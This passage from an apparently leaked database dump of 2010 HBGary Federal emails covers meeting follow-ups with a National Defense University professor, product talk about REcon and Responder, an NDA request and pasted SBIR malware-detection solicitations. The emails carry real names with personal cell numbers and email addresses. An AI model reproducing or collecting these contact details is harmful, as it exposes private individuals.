Barr  wrote:\r\n>\r\n>> Hi Penny,\r\n>>\r\n>> Do you guys have a stock photo account.\r\n>>\r\n>> Do you already have a copy of the following image?\r\n>> ist2_3953520-3d-helix-with-binary-code\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n> \r\n',10836,'aaron_hbgary_com/10836.html'),(5558,'2010-04-21','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004049.M679740P14101Q413.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Meeting follow up','\r\n\r\n\r\n\r\n\r\nMeeting follow up\r\n\r\n\r\n\r\n\r\nHi Aaron.&nbsp; Nice meeting with you.&nbsp; I think we can get some things done.&nbsp; It&#8217;s going to be very hard to get you access to a JWICS machine.&nbsp; I think the best option is to write the white paper at the unclass level in a way that clearly implies what you have in mind.&nbsp; When we actually meet with folks, we can fill in the blanks.&nbsp; Is that doable?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14567,'aaron_hbgary_com/14567.html'),(5559,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004049.M888402P14101Q414.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Meeting follow up','You bet.From my iPhoneOn Apr 21, 2010, at 3:07 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron.  Nice meeting with you.  I think we can get some things done.  It’s going to be very hard to get you access to a JWICS machine.  I think the best option is to write the white paper at the unclass level in a way that clearly implies what you have in mind.  When we actually meet with folks, we can fill in the blanks.  Is that doable?\r\n\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13139,'aaron_hbgary_com/13139.html'),(5560,'2010-04-21','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004050.M107093P14101Q415.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 21, 2010 6:09 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Meeting follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYou bet.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 21, 2010, at 3:07 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron.&nbsp; Nice\r\nmeeting with you.&nbsp; I think we can get some things done.&nbsp; It&#8217;s\r\ngoing to be very hard to get you access to a JWICS machine.&nbsp; I think the\r\nbest option is to write the white paper at the unclass level in a way that\r\nclearly implies what you have in mind.&nbsp; When we actually meet with folks, we can fill in the\r\nblanks.&nbsp; Is that doable?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5795,'aaron_hbgary_com/5795.html'),(5561,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004050.M341747P14101Q416.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Meeting follow up','I will start to work up some concepts.  I can have a high level view done pretty quickly so we can rak n stack.  Let me know when u want to get together.Aaron\r\nFrom my iPhoneOn Apr 21, 2010, at 3:07 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron.  Nice meeting with you.  I think we can get some things done.  It’s going to be very hard to get you access to a JWICS machine.  I think the best option is to write the white paper at the unclass level in a way that clearly implies what you have in mind.  When we actually meet with folks, we can fill in the blanks.  Is that doable?\r\n\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2498,'aaron_hbgary_com/2498.html'),(5562,'2010-04-21','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004050.M564196P14101Q417.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','defeat tomorrow\'s threat today now up',' \r\nThe new tagline &#39;defeat tomorrow&#39;s threat today&#39; is now up.  We can try this one for a while.  At this point, assuming I get no harsh complaints, this will stay up.\r\n \r\n-Greg\r\n',1334,'aaron_hbgary_com/1334.html'),(5563,'2010-04-21','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004050.M779859P14101Q418.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.&nbsp; I won&#8217;t be free until the week of May 3rd.&nbsp;\r\nWant to schedule something then?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 21, 2010 7:08 PM\r\nTo: Lachow, Irving\r\nCc: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Meeting follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI will start to work up some concepts. &nbsp;I can have a\r\nhigh level view done pretty quickly so we can rak n stack. &nbsp;Let me know\r\nwhen u want to get together.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 21, 2010, at 3:07 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron.&nbsp; Nice\r\nmeeting with you.&nbsp; I think we can get some things done.&nbsp; It&#8217;s\r\ngoing to be very hard to get you access to a JWICS machine.&nbsp; I think the\r\nbest option is to write the white paper at the unclass level in a way that\r\nclearly implies what you have in mind.&nbsp; When we actually meet with folks, we can fill in the\r\nblanks.&nbsp; Is that doable?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9189,'aaron_hbgary_com/9189.html'),(5564,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004051.M229918P14101Q420.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: REcon info','ok. &nbsp;lets talk about it. &nbsp;MIght be good if both of us went. &nbsp;My buddy Jake (staffer for Congressman Langevin) and some other folks I know are part of the presenters/panelists.AaronOn Apr 21, 2010, at 11:34 AM, Bob Slapnik wrote:Aaron,&nbsp;I’d like to go.&nbsp; Penny said you or I should go.&nbsp; Not sure if she wants to spend for me if you are going.&nbsp;Attached is the new DDNA datasheet and the REcon press release.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, April 21, 2010 10:04 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: REcon info&nbsp;Thanks Bob.&nbsp;Are you planning to attend the cybersecurity summit may 11th?&nbsp;Do you have any papers on Responder Pro and DDNA?&nbsp;Aaron&nbsp;On Apr 20, 2010, at 5:48 PM, Bob Slapnik wrote:Aaron,&nbsp;Here is some REcon data.&nbsp; The user guide is from Nov so it might be dated.&nbsp; A lot of what I wrote in the SMART section of the DARPA proposal was pulled directly from the attached REcon for Exploitation doc.&nbsp;I think I have some TMC docs.&nbsp; Let me find them and send them to you.&nbsp;Bob&nbsp;&lt;REcon User Guide.docx&gt;&lt;Info from Greg about REcon.txt&gt;&lt;HBGary REcon for Exploitation Assessment.pdf&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/21/10 02:31:00&lt;HBGary Digital DNA.pdf&gt;&lt;HBGary REcon.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6755,'aaron_hbgary_com/6755.html'),(5565,'2010-04-22','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004051.M488167P14101Q421.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 4/21/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Apr 14 - Apr 21\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Jim Barnett has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Guy Mincey has an updated profile (Headline, Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Guy Mincey has an updated profile (Headline, Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Ted Wagner, CISSP, ISSMP, CISM\r\nis now connected to\r\n            Steve Campbell\r\n             and \r\n            Maurice Cashman\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  angela fugate\r\n    is now connected to\r\n        Paul Serwin\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Guy Mincey\r\nWe are thrilled to inform all the AFCEA Energy Fan\'s and Family that as of this evening, we have over 140 registered attendees for the AFCEA Energy Business and Technology Symposium! Missed the on-line registration? NO WORRIES!  YOU CAN STILL REGISTER ON LOCATION for the event! We hope to see all of you there!  Please click on the following link for details.\r\nhttp://lnkd.in/csd5t6      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nEvents &amp;amp; Meetings         \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Guy Mincey\r\nhttp://lnkd.in/csd5t6      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nEvents &amp;amp; Meetings         \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nQuiet day at NDU with one meeting at US-CERT.  Tomorrow have meeting at APL re: cross-domain info sharing.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Chris Collins has joined 2 groups, including\r\n      \r\n      SLED - Second Life Educators\r\n      and\r\n      Google Universe : Careers, Technologies, and the Road Ahead\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Phil Wallisch has joined\r\n    PwC Security Alumni\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    Military Transition Interest Group\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Eric Hallam was recommended by\r\ncolleague      Bryan Campbell\r\n        Eric was an innovative problem-solver who looked for systemic improvements that made day-to-day task...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Eric Hallam recommends\r\ncolleague      Tim Lehmpuhl\r\n          PP&amp;C Business Manager at Northrop Grumman\r\n        Tim started at Northrop Grumman less than a month after we had 3 of our 4 Program Control Analysts q...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Guy Mincey\r\n                  \r\n                     will be attending \r\n                  \r\n                    AFCEA Energy Business and Technology Symposium\r\n                  \r\n                     on April 22, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',9595,'aaron_hbgary_com/9595.html'),(5566,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004051.M6306P14101Q419.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mac vs. PC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI tried to watch a new video Greg posted on using REcon to\r\nrecover decrypted buffers.&nbsp; My PC said it was downloading but I never figured\r\nout how to play it.&nbsp; So, I went to my wife&#8217;s Mac and presto &#8211; it just\r\nworked!&nbsp; As my wife said, &#8220;I can figure out how to do things on my new\r\nMac that I could never do on a PC.&#8221;&nbsp; I asked her if it was worth 3x the\r\nprice of a PC and she said, &#8220;Absolutely!&#8221;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',406,'aaron_hbgary_com/406.html'),(5567,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004051.M707016P14101Q422.eml','jim@hbgary.com','Re: Responder2.0_User_FINAL.pdf','Thanks Jim.AaronOn Apr 21, 2010, at 12:43 PM, jim@hbgary.com wrote:\r\nI\'ve shared Responder2.0_User_FINAL.pdf\r\nMessage from jim@hbgary.com:\r\nHere\'s the copy of the Responder User Guide, which includes REcon information as well...\r\nClick to open:\r\nResponder2.0_User_FINAL.pdf\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9138,'aaron_hbgary_com/9138.html'),(5568,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004051.M967608P14101Q423.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Mac vs. PC','It just works.AaronOn Apr 21, 2010, at 9:13 PM, Bob Slapnik wrote:Aaron,&nbsp;I tried to watch a new video Greg posted on using REcon to recover decrypted buffers.&nbsp; My PC said it was downloading but I never figured out how to play it.&nbsp; So, I went to my wife’s Mac and presto – it just worked!&nbsp; As my wife said, “I can figure out how to do things on my new Mac that I could never do on a PC.”&nbsp; I asked her if it was worth 3x the price of a PC and she said, “Absolutely!”&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',343,'aaron_hbgary_com/343.html'),(5569,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004052.M252580P14101Q424.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Meeting follow up','Sounds good. &nbsp;How about Tuesday or Wednesday? &nbsp;Pretty open those days.AaronOn Apr 21, 2010, at 7:53 PM, Lachow, Irving wrote:Ok.&nbsp; I won’t be free until the week of May 3rd.&nbsp; Want to schedule something then?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, April 21, 2010 7:08 PMTo:&nbsp;Lachow, IrvingCc:&nbsp;Lachow, Irving Mr OSD ATLSubject:&nbsp;Re: Meeting follow up&nbsp;I will start to work up some concepts. &nbsp;I can have a high level view done pretty quickly so we can rak n stack. &nbsp;Let me know when u want to get together.&nbsp;AaronFrom my iPhoneOn Apr 21, 2010, at 3:07 PM, \"Lachow, Irving\" &lt;LachowI@ndu.edu&gt; wrote:Hi Aaron.&nbsp; Nice meeting with you.&nbsp; I think we can get some things done.&nbsp; It’s going to be very hard to get you access to a JWICS machine.&nbsp; I think the best option is to write the white paper at the unclass level in a way that clearly implies what you have in mind.&nbsp;&nbsp;When we actually meet with folks, we can fill in the blanks.&nbsp; Is that doable?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email:&nbsp;lachowi@ndu.edu\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16417,'aaron_hbgary_com/16417.html'),(5570,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004052.M839768P14101Q425.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: CTSC Non Disclosure Agreement','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Edna Robinson \r\n> Date: April 21, 2010 10:10:03 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> Good Morning Aaron, \r\n> \r\n> Let me know if you can open this one. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/21/2010 09:28 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> Hi Edna, \r\n> \r\n> Could you resend this document.  I am getting a corruption error.  It might be on my end, I am on a Mac. \r\n> \r\n> Thank you, \r\n> Aaron \r\n> \r\n> On Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Afternoon Mr. Aron, \r\n> \r\n> Please sign an return the attached Non Disclosure agreement at your earliest convenience so that it may be Fully Executed prior to your meeting \r\n> with Paul Rooney. \r\n> \r\n> \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5137,'aaron_hbgary_com/5137.html'),(5571,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004053.M321237P14101Q427.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','New SBIR topic','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nHere is a SBIR topic from AFRL Rome Labs.&nbsp; My impression is\r\nthat Rome Labs only gives contracts to companies who have a presence in Rome,\r\nNY.&nbsp; This is a malware detection type of contract, so it could apply to us.\r\n\r\n&nbsp;\r\n\r\nOSD10-IA2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTITLE: Effective portable data content inspection and sanitization \r\n\r\n&nbsp;TECHNOLOGY AREAS: Information Systems\r\n\r\n&nbsp;OBJECTIVE: Advance the security, effectiveness, and\r\nautomation of the malicious code and information leakage detection process for\r\nphysical media entering or leaving classified or controlled facilities.\r\n\r\n&nbsp;DESCRIPTION: Daily operations within DoD research\r\nlaboratories requires particular care to be taken when introducing new software\r\npackages or data into a controlled environment. Typically media entering or\r\nleaving a research facility is expected to be scanned for viruses and other\r\nmalicious content as well as be properly inventoried for reference and control\r\npurposes. This process does not take into account inspection for data leakage,\r\ndeep file inspection for malware, or the potential exploitation of the scanning\r\nhost by malicious code on the target media. Although there are network based\r\nguards which have developed processes to safely perform analysis of files traversing\r\nsecurity domains, not all organizations or facilities have access to these\r\ndevices. Additionally, analysis techniques used by existing network guard\r\nsolutions for static lists of file types, formats, and expected ranges of data\r\ncannot be employed in a research environment where file types, format, and data\r\nare as dynamic as the research at hand. Advanced techniques are being employed\r\nby adversaries to avoid malware detection using traditional software including\r\nobfuscation, packing, and multi-tiered encoding techniques. These key factors\r\nare driving the need for the ability to perform a more in depth file analysis\r\nfor malicious code and data leakage.&nbsp; The focus of this effort is to\r\ndevelop foolproof ways to securely and verifiably identify multiple file\r\ntypes.&nbsp; This can be accomplished via magic numbers, format validation, or\r\nother means that can be fully automated.&nbsp; The number of file types this\r\nsolution addresses should be larger than those currently organized and\r\nrecognized within the cross domain community. Additional capabilities to check\r\nthese file types for hidden content automatically and with a high level of\r\nassurance would be exceedingly useful. Those file formats which aren&#8217;t\r\nidentifiable by these methods will be put into a quarantine for future\r\nadditional assessment in either a &#8220;detonation chamber&#8221; capability\r\nor other means.&nbsp; These mechanisms will be expected to operate in\r\ncontrolled and potentially classified environments processing autonomously with\r\nno access to external resources, administrative control channels, or a human in\r\nthe loop review process. The system must be capable of enforcing positive\r\ncontrol when a situation or data type is presented that cannot be autonomously\r\nmanaged. \r\n\r\n&nbsp;PHASE I:&nbsp; 1) Investigate and propose a mechanism capable\r\nof autonomously performing deep file inspection, format validation and\r\nverification, virus scanning, malware detection, and quarenteen unknown data\r\ntypes for future analysis. \r\n\r\n2) Provide a minimal software prototype demonstrating the\r\nfeasibility of the concept, to include capabilities currently recognized in the\r\ncross domain community as part of current best practices and novel capabilities\r\nthat extend beyond those best practices.\r\n\r\n&nbsp;PHASE II: 1) Based on the results from Phase 1, refine and\r\nextend the prototype system to a fully functioning inspection system with\r\nadditional inspection capabilities for quarantined data. \r\n\r\n2) Provide an analysis demonstrating significant improvement in\r\ndetection of malicious code and hidden data.\r\n\r\n3) Provide an analysis demonstrating the robustness of the system\r\nto withstand an attack via malicious code. \r\n\r\n4) Provide measurements of each step within the system to include\r\nperformance metrics. These measurements will be expected to be useful for\r\nsituational awareness.\r\n\r\n&nbsp;PHASE III: Government and commercial entities are required\r\nto ensure absolute security of research facilities from malicious code and data\r\nleakage. Therefore, an effective, secure means to provide controlled inbound\r\nand outbound data inspection would be marketable to governmental and commercial\r\nentities.\r\n\r\n&nbsp;KEYWORDS: malicious code, data leakage, malware detection, deep\r\nfile inspection, malicious content inspection , hidden data detection\r\n\r\n&nbsp;TPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJeff Maier\r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(315) 330-1577\r\n\r\nFax:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(315) 330-3913\r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJeffrey.maier@rl.af.mil\r\n\r\n2nd TPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Michael J. Mayhew\r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(315) 330-2898\r\n\r\nFax:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(315) 330-8203\r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMichael.mayhew@rl.af.mil\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11775,'aaron_hbgary_com/11775.html'),(5572,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004053.M558350P14101Q428.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SBIR topic for anti-phishing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI wonder if this SBIR topic could be addressed with some\r\nkind of inline TMC device.&nbsp; For example, the TMC runs attachments or visits\r\nwebsites from an automated sandboxed 